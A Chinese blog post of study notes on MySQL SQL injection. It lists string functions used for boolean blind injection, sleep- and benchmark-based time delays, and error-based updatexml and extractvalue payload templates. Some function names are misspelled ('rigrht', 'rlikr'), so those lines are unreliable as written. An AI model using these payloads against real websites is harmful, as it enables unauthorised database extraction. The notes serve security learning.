盲注

盲注

1.substr()/mid()

substr(a,b,c)从b位置开始,截取字符串a的c长度

​ (1)字符串截取,截取字符串的某一位

​ (2)比较是否相等

substr((select database()),1,1) = 'a'
select substr((select database()),3)

2.right():

表示截取字符串的右面几位.

使用方法:ringht(截取的字符串,截取长度)

(1)

select rigrht((select database()),3)

(2)

ascii(right(所截取字符串, x))

会返回从右往左数的第x位的ASCII码

3.left():

表示截取字符串的左面前几位

使用方法:left(截取的字符串,截取长度)\

(1)

select left((select database()),3)

(2)

ascii(reverse(left(所截取字符串, x)))

会返回从左往右数的第x位的ASCII码

select ascii(reverse(left((select database()),3)))

4.regexp()/rlikr():

判断字符串是否匹配正则表达式

使用方法: binary目标字符串 regexp正则

select (select database()) regexp '^c'

5.trim():

移除首位空白及TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str) 表示移除str这个字符串(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr

6.insert():

字符串替换函数

select insert('abc',1,2,'xxx')

将abc的第一位开始的2个长度(也就是ab)替换为xxx,则返回xxxc

7.运算;

(1)and &&

在盲注中,可以用一个true去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:

(2)or ||

用一个false去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:

8.case():

select case 'a' when 'a' then 1 else 0 end
case when (表达式) then exp1 else exp2 end  
#表示如果表达式为真则返回exp1,否则返回exp2
case 啥 when 啥啥 then exp1 else exp2 end  
#表示如果(啥=啥啥)则返沪exp1,否则返回exp2 

延时盲注

1.sleep

select sleep(3)

(1)使用if或case构造条件表达式进行延迟

select if((1=1),sleep(3),0)

(2)无if和case 根据condition的真假来决定是否触发sleep(),可以将condition整合进sleep()中,做乘法

如果condition为真则返回1,5*(condition)5*1为5,延时5秒;如果condition为假则返回0,5*(condition)5*0为0,延时0秒

select sleep( 5 * (1=1) )
select sleep( 5 * (1=2) )

2.benchmark

替代sleep

用法:benchmark(执行多少次,执行什么操作)

select benchmark(1000000,sha1('Y1ng'))
select benchmark(100000,sha1('Y1ng'))

time

报错注入:

① 0x7e=’~’ ② concat(‘a’,‘b’)=“ab”
③ version()=@@version
④ ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
⑤ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

 and updatexml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数.
and extractvalue(1,concat(0x7e,())) --+一共可以接收两个参数,报错位置在第二个参数
posted @ 2024-01-01 15:53  Yolololololo  阅读(38)  评论(0编辑  收藏  举报